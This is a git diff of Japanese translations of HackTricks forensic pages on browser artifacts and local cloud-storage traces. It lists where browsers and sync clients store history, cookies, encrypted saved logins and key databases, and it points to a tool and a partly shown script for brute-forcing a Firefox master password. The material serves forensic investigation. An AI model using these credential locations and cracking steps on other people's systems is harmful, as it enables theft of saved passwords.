**💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** -* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。 +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 6be48f0a7..91834b7da 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -2,77 +2,77 @@ -htARTE(HackTricks AWS Red Team Expert)を使って、ゼロからヒーローまでAWSハッキングを学ぶ +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する -- ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする +* **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出してください。 - + \ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによってパワードされた**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## ブラウザのアーティファクト -ブラウザのアーティファクトには、ナビゲーション履歴、ブックマーク、キャッシュデータなど、Webブラウザによって保存されるさまざまな種類のデータが含まれます。これらのアーティファクトは、一般的に類似したデータ型を保存しつつも、ブラウザごとに異なる場所と名前でオペレーティングシステム内の特定のフォルダに保持されます。 +ブラウザのアーティファクトには、ナビゲーション履歴、ブックマーク、キャッシュデータなど、Webブラウザによって保存されるさまざまな種類のデータが含まれます。これらのアーティファクトは、オペレーティングシステム内の特定のフォルダに保管され、ブラウザごとに場所と名前が異なりますが、一般的には類似したデータ型を保存しています。 -以下は、最も一般的なブラウザのアーティファクトの要約です: +以下は、最も一般的なブラウザのアーティファクトの概要です: -- **ナビゲーション履歴**:ユーザーがWebサイトを訪れた履歴で、悪意のあるサイトへの訪問を特定するのに役立ちます。 -- **オートコンプリートデータ**:頻繁な検索に基づいた提案で、ナビゲーション履歴と組み合わせると洞察を提供します。 -- **ブックマーク**:ユーザーが保存したサイトで、迅速なアクセスのためです。 -- **拡張機能とアドオン**:ユーザーがインストールしたブラウザの拡張機能やアドオン。 -- **キャッシュ**:Webコンテンツ(画像、JavaScriptファイルなど)を保存してWebサイトの読み込み時間を短縮するための貴重なデータ。 -- **ログイン情報**:保存されたログイン資格情報。 -- **Favicons**:タブやブックマークに表示されるWebサイトに関連付けられたアイコンで、ユーザーの訪問に関する追加情報に役立ちます。 -- **ブラウザセッション**:オープンされたブラウザセッションに関連するデータ。 -- **ダウンロード**:ブラウザを介してダウンロードされたファイルの記録。 -- **フォームデータ**:Webフォームに入力された情報で、将来の自動入力提案のために保存されます。 -- **サムネイル**:Webサイトのプレビュー画像。 -- **Custom Dictionary.txt**:ユーザーがブラウザの辞書に追加した単語。 +* **ナビゲーション履歴**: ユーザーがWebサイトを訪れた履歴で、悪意のあるサイトへの訪問を特定するのに役立ちます。 +* **オートコンプリートデータ**: 頻繁な検索に基づいた提案で、ナビゲーション履歴と組み合わせると洞察を提供します。 +* **ブックマーク**: ユーザーが保存したサイトへのクイックアクセス。 +* **拡張機能とアドオン**: ユーザーがインストールしたブラウザの拡張機能やアドオン。 +* **キャッシュ**: Webコンテンツ(画像、JavaScriptファイルなど)を保存してWebサイトの読み込み時間を短縮するための貴重な情報。 +* **ログイン情報**: 保存されたログイン資格情報。 +* **Favicons**: タブやブックマークに表示されるWebサイトに関連付けられたアイコンで、ユーザーの訪問に関する追加情報に役立ちます。 +* **ブラウザセッション**: 開いているブラウザセッションに関連するデータ。 +* **ダウンロード**: ブラウザを介してダウンロードされたファイルの記録。 +* **フォームデータ**: Webフォームに入力された情報で、将来の自動入力提案のために保存されます。 +* **サムネイル**: Webサイトのプレビュー画像。 +* **Custom Dictionary.txt**: ユーザーがブラウザの辞書に追加した単語。 ## Firefox -Firefoxは、プロファイル内のユーザーデータをオペレーティングシステムに基づいて特定の場所に保存します: +Firefox は、プロファイル内のユーザーデータをオペレーティングシステムに基づいた特定の場所に保存します: -- **Linux**:`~/.mozilla/firefox/` -- **MacOS**:`/Users/$USER/Library/Application Support/Firefox/Profiles/` -- **Windows**:`%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` +* **Linux**: `~/.mozilla/firefox/` +* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` +* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -これらのディレクトリ内にある`profiles.ini`ファイルには、ユーザープロファイルがリストされています。各プロファイルのデータは、`profiles.ini`と同じディレクトリにある`profiles.ini`内の`Path`変数で名前が付けられたフォルダに保存されます。プロファイルのフォルダが見つからない場合は、削除されている可能性があります。 +これらのディレクトリ内には `profiles.ini` ファイルがあり、ユーザープロファイルがリストされています。各プロファイルのデータは、`profiles.ini` と同じディレクトリにある `Path` 変数で名前が付けられたフォルダに保存されます。プロファイルのフォルダが存在しない場合、削除されている可能性があります。 -各プロファイルフォルダ内には、いくつかの重要なファイルがあります: +各プロファイルフォルダ内には、いくつかの重要なファイルがあります: -- **places.sqlite**:履歴、ブックマーク、ダウンロードを保存します。Windows上の[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)などのツールを使用して履歴データにアクセスできます。 -- 履歴とダウンロード情報を抽出するために特定のSQLクエリを使用します。 -- **bookmarkbackups**:ブックマークのバックアップが含まれています。 -- **formhistory.sqlite**:Webフォームデータを保存します。 -- **handlers.json**:プロトコルハンドラを管理します。 -- **persdict.dat**:カスタム辞書の単語。 -- **addons.json**および**extensions.sqlite**:インストールされたアドオンと拡張機能に関する情報。 -- **cookies.sqlite**:Cookieの保存先で、Windows上で[MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)を使用して検査できます。 -- **cache2/entries**または**startupCache**:キャッシュデータで、[MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html)などのツールを介してアクセスできます。 -- **favicons.sqlite**:Faviconsを保存します。 -- **prefs.js**:ユーザー設定と環境設定。 -- **downloads.sqlite**:古いダウンロードデータベースで、現在はplaces.sqliteに統合されています。 -- **thumbnails**:Webサイトのサムネイル。 -- **logins.json**:暗号化されたログイン情報。 -- **key4.db**または**key3.db**:機密情報を保護するための暗号化キーを保存します。 +* **places.sqlite**: 履歴、ブックマーク、ダウンロードを保存します。Windows 上の [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) のようなツールを使用して履歴データにアクセスできます。 +* 履歴とダウンロード情報を抽出するために特定のSQLクエリを使用します。 +* **bookmarkbackups**: ブックマークのバックアップが含まれています。 +* **formhistory.sqlite**: Webフォームデータを保存します。 +* **handlers.json**: プロトコルハンドラを管理します。 +* **persdict.dat**: カスタム辞書の単語。 +* **addons.json** および **extensions.sqlite**: インストールされたアドオンと拡張機能に関する情報。 +* **cookies.sqlite**: Cookie の保存場所で、Windows 上で [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) を使用して検査できます。 +* **cache2/entries** または **startupCache**: キャッシュデータで、[MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) のようなツールを使用してアクセスできます。 +* **favicons.sqlite**: Favicons を保存します。 +* **prefs.js**: ユーザー設定と環境設定。 +* **downloads.sqlite**: 以前のダウンロードデータベースで、現在は places.sqlite に統合されています。 +* **thumbnails**: Webサイトのサムネイル。 +* **logins.json**: 暗号化されたログイン情報。 +* **key4.db** または **key3.db**: 機密情報を保護するための暗号化キーを保存します。 -さらに、ブラウザのフィッシング対策設定を確認するには、`prefs.js`内で`browser.safebrowsing`エントリを検索して、セーフブラウジング機能が有効か無効かを確認できます。 +さらに、ブラウザのフィッシング対策設定を確認するには、`prefs.js` 内で `browser.safebrowsing` エントリを検索して、セーフブラウジング機能が有効か無効かを確認できます。 -マスターパスワードを復号化しようとする場合は、[https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)を使用できます。\ -次のスクリプトと呼び出しを使用して、ブルートフォースするパスワードファイルを指定できます: +マスターパスワードを復号化しようとする場合は、[https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) を使用できます\ +次のスクリプトと呼び出しを使用して、ブルートフォースするパスワードファイルを指定できます: {% code title="brute.sh" %} ```bash @@ -87,7 +87,7 @@ done < $passfile ``` {% endcode %} -![](<../../../.gitbook/assets/image (417).png>) +![](<../../../.gitbook/assets/image (692).png>) ## Google Chrome @@ -97,20 +97,20 @@ Google Chromeは、オペレーティングシステムに基づいて特定の - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -これらのディレクトリ内で、ほとんどのユーザーデータは **Default/** または **ChromeDefaultData/** フォルダにあります。重要なデータを保持する以下のファイルがあります: +これらのディレクトリ内で、ほとんどのユーザーデータは **Default/** または **ChromeDefaultData/** フォルダにあります。次のファイルには重要なデータが含まれています: -- **History**: URL、ダウンロード、検索キーワードを含む。Windowsでは、[ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) を使用して履歴を読むことができます。"Transition Type" 列には、リンクのクリック、入力されたURL、フォームの送信、ページの再読み込みなど、さまざまな意味があります。 -- **Cookies**: Cookieを保存。検査には、[ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) が利用できます。 -- **Cache**: キャッシュされたデータを保持。検査するために、Windowsユーザーは[ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) を利用できます。 +- **History**: URL、ダウンロード、検索キーワードが含まれます。Windowsでは、[ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) を使用して履歴を読むことができます。"Transition Type" 列には、リンクのクリック、入力されたURL、フォームの送信、ページの再読み込みなど、さまざまな意味があります。 +- **Cookies**: クッキーが保存されます。検査には、[ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) が利用できます。 +- **Cache**: キャッシュされたデータが保存されます。検査するには、Windowsユーザーは [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) を利用できます。 - **Bookmarks**: ユーザーのブックマーク。 -- **Web Data**: フォーム履歴を含む。 -- **Favicons**: ウェブサイトのファビコンを保存。 -- **Login Data**: ユーザー名やパスワードなどのログイン資格情報を含む。 +- **Web Data**: フォームの履歴が含まれます。 +- **Favicons**: ウェブサイトのファビコンが保存されます。 +- **Login Data**: ユーザー名やパスワードなどのログイン資格情報が含まれます。 - **Current Session**/**Current Tabs**: 現在のブラウジングセッションとオープンされているタブに関するデータ。 -- **Last Session**/**Last Tabs**: Chromeが閉じられる前の最後のセッション中にアクティブだったサイトに関する情報。 +- **Last Session**/**Last Tabs**: Chromeが閉じられる前の最後のセッションでアクティブだったサイトに関する情報。 - **Extensions**: ブラウザの拡張機能やアドオンのためのディレクトリ。 -- **Thumbnails**: ウェブサイトのサムネイルを保存。 -- **Preferences**: プラグイン、拡張機能、ポップアップ、通知などの設定を含む情報が豊富なファイル。 +- **Thumbnails**: ウェブサイトのサムネイルが保存されます。 +- **Preferences**: プラグイン、拡張機能、ポップアップ、通知などの設定を含む情報が豊富なファイルです。 - **ブラウザの組み込みのフィッシング対策**: フィッシング対策やマルウェア保護が有効になっているかどうかを確認するには、`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` を実行します。出力で `{"enabled: true,"}` を探します。 ## **SQLite DBデータの回復** @@ -123,19 +123,19 @@ Internet Explorer 11 は、格納された情報とそれに対応する詳細 ### メタデータの保存 -Internet Explorerのメタデータは `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`(VX は V01、V16、または V24)に保存されます。これに加えて、`V01.log` ファイルは `WebcacheVX.data` との修正時間の不一致を示す場合があり、`esentutl /r V01 /d` を使用して修復が必要となります。このメタデータは ESEデータベースに格納されており、photorec や [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) などのツールを使用して回復および検査が可能です。**Containers** テーブル内では、各データセグメントが格納されている特定のテーブルやコンテナが識別でき、Skypeなどの他のMicrosoftツールのキャッシュの詳細も含まれます。 +Internet Explorerのメタデータは `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`(VX は V01、V16、または V24)に保存されます。これに加えて、`V01.log` ファイルは `WebcacheVX.data` との修正時間の不一致を示す場合があり、`esentutl /r V01 /d` を使用して修復が必要となります。このメタデータは ESEデータベースに格納されており、photorec や [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) などのツールを使用して回復および検査が可能です。**Containers** テーブル内では、各データセグメントが保存されている特定のテーブルやコンテナを識別することができ、Skypeなどの他のMicrosoftツールのキャッシュの詳細も含まれます。 ### キャッシュの検査 -[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) ツールを使用すると、キャッシュデータの抽出フォルダの場所が必要となり、キャッシュに関するメタデータにはファイル名、ディレクトリ、アクセス回数、URLの起源、キャッシュの作成、アクセス、修正、有効期限の時間が示されます。 +[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) ツールを使用すると、キャッシュの検査が可能で、キャッシュデータの抽出フォルダの場所が必要です。キャッシュのメタデータには、ファイル名、ディレクトリ、アクセス回数、URLの起源、キャッシュの作成、アクセス、修正、有効期限の時間が示されます。 -### Cookieの管理 +### クッキーの管理 -Cookieは[IECookiesView](https://www.nirsoft.net/utils/iecookies.html) を使用して調査でき、メタデータには名前、URL、アクセス回数、さまざまな時間に関する詳細が含まれます。永続的なCookieは `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` に保存され、セッションCookieはメモリに保存されます。 +クッキーは [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) を使用して調査でき、メタデータには名前、URL、アクセス回数、さまざまな時間に関する詳細が含まれます。永続的なクッキーは `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` に保存され、セッションクッキーはメモリに保存されます。 ### ダウンロードの詳細 -ダウンロードのメタデータは [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) を使用してアクセスでき、特定のコンテナにはURL、ファイルタイプ、ダウンロード場所などのデータが格納されます。物理ファイルは `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` にあります。 +ダウンロードのメタデータは [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) を使用してアクセスでき、特定のコンテナには URL、ファイルタイプ、ダウンロード場所などのデータが保存されています。物理ファイルは `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` にあります。 ### 閲覧履歴 @@ -150,7 +150,7 @@ Cookieは[IECookiesView](https://www.nirsoft.net/utils/iecookies.html) を使用 Microsoft Edgeは、ユーザーデータを `%userprofile%\Appdata\Local\Packages` に保存します。さまざまなデータタイプのパスは次のとおりです: - **プロファイルパス**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` -- **履歴、Cookie、ダウンロード**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` +- **履歴、クッキー、ダウンロード**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` - **設定、ブックマーク、読書リスト**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` - **キャッシュ**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` - **最後のアクティブセッション**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` @@ -159,22 +159,22 @@ Microsoft Edgeは、ユーザーデータを `%userprofile%\Appdata\Local\Packag Safariのデータは `/Users/$User/Library/Safari` に保存されます。主要なファイルは次のとおりです: -- **History.db**: URLと訪問時刻を含む `history_visits` および `history_items` テーブルが含まれています。クエリを実行するには `sqlite3` を使用します。 -- **Downloads.plist**: ダウンロードしたファイルに関する情報。 -- **Bookmarks.plist**: ブックマークされたURLを保存します。 -- **TopSites.plist**: 最も頻繁に訪れるサイト。 -- **Extensions.plist**: Safariブラウザの拡張機能のリスト。取得するには `plutil` または `pluginkit` を使用します。 -- **UserNotificationPermissions.plist**: 通知をプッシュすることが許可されたドメイン。解析するには `plutil` を使用します。 -- **LastSession.plist**: 最後のセッションからのタブ。解析するには `plutil` を使用します。 -- **ブラウザの組み込みのフィッシング対策**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` を使用して確認します。応答が1の場合、機能が有効になっています。 +- **History.db**: `history_visits` と `history_items` テーブルが含まれ、URLと訪問時刻が保存されています。`sqlite3` を使用してクエリを実行します。 +- **Downloads.plist**: ダウンロードしたファイルに関する情報が含まれています。 +- **Bookmarks.plist**: ブックマークされたURLが保存されます。 +- **TopSites.plist**: 最も頻繁に訪れるサイトが含まれます。 +- **Extensions.plist**: Safariブラウザの拡張機能のリストが含まれます。`plutil` または `pluginkit` を使用して取得します。 +- **UserNotificationPermissions.plist**: 通知をプッシュすることが許可されたドメインが含まれます。`plutil` を使用して解析します。 +- **LastSession.plist**: 最後のセッションからのタブが含まれます。`plutil` を使用して解析します。 +- **ブラウザの組み込みのフィッシング対策**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` を使用して確認します。応答が 1 の場合、機能が有効になっています。 ## Opera -Operaのデータは `/Users/$USER/Library/Application Support/com.operasoftware.Opera` に保存され、履歴とダウンロードに関してはChromeと同じ形式を共有しています。 +Operaのデータは `/Users/$USER/Library/Application Support/com.operasoftware.Opera` に保存され、履歴やダウンロードに関してはChromeと同じ形式を共有しています。 -- **ブラウザの組み込みのフィッシング対策**: `fraud_protection_enabled` が `true` に設定されているかどうかを確認するには、`grep` を使用して `Preferences` ファイル内で確認します。 +- **ブラウザの組み込みのフィッシング対策**: `fraud_protection_enabled` が `true` に設定されているかどうかを確認するには、`grep` を使用して確認します。 -これらのパスとコマンドは、異なるWebブラウザによって保存されるブラウジングデータにアクセスして理解するために重要です。 +これらのパスとコマンドは、異なるウェブブラウザによって保存されるブラウジングデータにアクセスして理解するために重要です。 ## 参考文献 @@ -183,7 +183,7 @@ Operaのデータは `/Users/$USER/Library/Application Support/com.operasoftware - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file) - **書籍: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** - + \ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** できます。\ @@ -193,11 +193,11 @@ Operaのデータは `/Users/$USER/Library/Application Support/com.operasoftware -**htARTE (HackTricks AWS Red Team Expert)** で**ゼロからヒーローまでのAWSハッキング**を学びましょう! +**htARTE (HackTricks AWS Red Team Expert)** で **ゼロからヒーローまでのAWSハッキング** を学びましょう! HackTricks をサポートする他の方法: -* もし**HackTricks**であなたの**企業が宣伝されるのを見たい**か、**PDF形式のHackTricksをダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください +* もし**HackTricksで会社を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* **💬[Discordグループ](https://discord.gg/hRep4RUj7f)に参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングテクニックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 6ea26ede9..8f6eda025 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -2,91 +2,91 @@ -htARTE(HackTricks AWS Red Team Expert)を使って、ゼロからヒーローまでAWSハッキングを学びましょう! +htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ! -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live) -- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする +* **HackTricks** と **HackTricks Cloud** のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する - + \ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** します。\ +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## OneDrive -Windowsでは、OneDriveフォルダを`\Users\\AppData\Local\Microsoft\OneDrive`で見つけることができます。そして、`logs\Personal`内にある`SyncDiagnostics.log`ファイルには、次のような興味深いデータが含まれています: +Windowsでは、OneDriveフォルダを `\Users\\AppData\Local\Microsoft\OneDrive` に見つけることができます。そして、`logs\Personal` 内にある `SyncDiagnostics.log` ファイルには、次のような興味深いデータが含まれています: -- バイト単位のサイズ -- 作成日 -- 変更日 -- クラウド内のファイル数 -- フォルダ内のファイル数 -- **CID**:OneDriveユーザーのユニークID -- レポート生成時刻 -- OSのHDのサイズ +* バイト単位のサイズ +* 作成日 +* 変更日 +* クラウド内のファイル数 +* フォルダ内のファイル数 +* **CID**: OneDriveユーザーのユニークID +* レポート生成時刻 +* OSのHDのサイズ -CIDを見つけたら、**このIDを含むファイルを検索**することをお勧めします。OneDriveと同期されたファイルの名前が記載されている可能性がある_**\.ini**_および_**\.dat**_という名前のファイルを見つけることができるかもしれません。 +CIDを見つけたら、**このIDを含むファイルを検索**することをお勧めします。OneDriveと同期されたファイルの名前が _**\.ini**_ および _**\.dat**_ である可能性があり、これらにはOneDriveと同期されたファイルの名前など、興味深い情報が含まれているかもしれません。 ## Google Drive -Windowsでは、メインのGoogle Driveフォルダを`\Users\\AppData\Local\Google\Drive\user_default`で見つけることができます。\ -このフォルダには、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報が含まれたSync\_log.logというファイルがあります。削除されたファイルも、対応するMD5とともにそのログファイルに表示されます。 +Windowsでは、メインのGoogle Driveフォルダを `\Users\\AppData\Local\Google\Drive\user_default` に見つけることができます。\ +このフォルダには、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報が含まれた Sync\_log.log というファイルが含まれています。削除されたファイルも、その対応するMD5とともにそのログファイルに表示されます。 -ファイル**`Cloud_graph\Cloud_graph.db`**は、**`cloud_graph_entry`**というテーブルを含むsqliteデータベースで、このテーブルでは、**同期されたファイル**の**名前**、変更時刻、サイズ、およびファイルのMD5チェックサムを見つけることができます。 +ファイル **`Cloud_graph\Cloud_graph.db`** は、 **`cloud_graph_entry`** というテーブルを含むsqliteデータベースで、このテーブルでは、**同期されたファイル** の **名前**、変更時刻、サイズ、およびファイルのMD5チェックサムを見つけることができます。 -データベース**`Sync_config.db`**のテーブルデータには、アカウントのメールアドレス、共有フォルダのパス、Google Driveのバージョンが含まれています。 +データベース **`Sync_config.db`** のテーブルデータには、アカウントのメールアドレス、共有フォルダのパス、Google Driveのバージョンが含まれています。 ## Dropbox -Dropboxはファイルを管理するために**SQLiteデータベース**を使用しています。\ -これらのデータベースは次のフォルダにあります: +Dropboxはファイルを管理するために **SQLiteデータベース** を使用しています。\ +これらのデータベースは次のフォルダにあります: -- `\Users\\AppData\Local\Dropbox` -- `\Users\\AppData\Local\Dropbox\Instance1` -- `\Users\\AppData\Roaming\Dropbox` +* `\Users\\AppData\Local\Dropbox` +* `\Users\\AppData\Local\Dropbox\Instance1` +* `\Users\\AppData\Roaming\Dropbox` -そして、主要なデータベースは次のとおりです: +そして、メインのデータベースは次のとおりです: -- Sigstore.dbx -- Filecache.dbx -- Deleted.dbx -- Config.dbx +* Sigstore.dbx +* Filecache.dbx +* Deleted.dbx +* Config.dbx 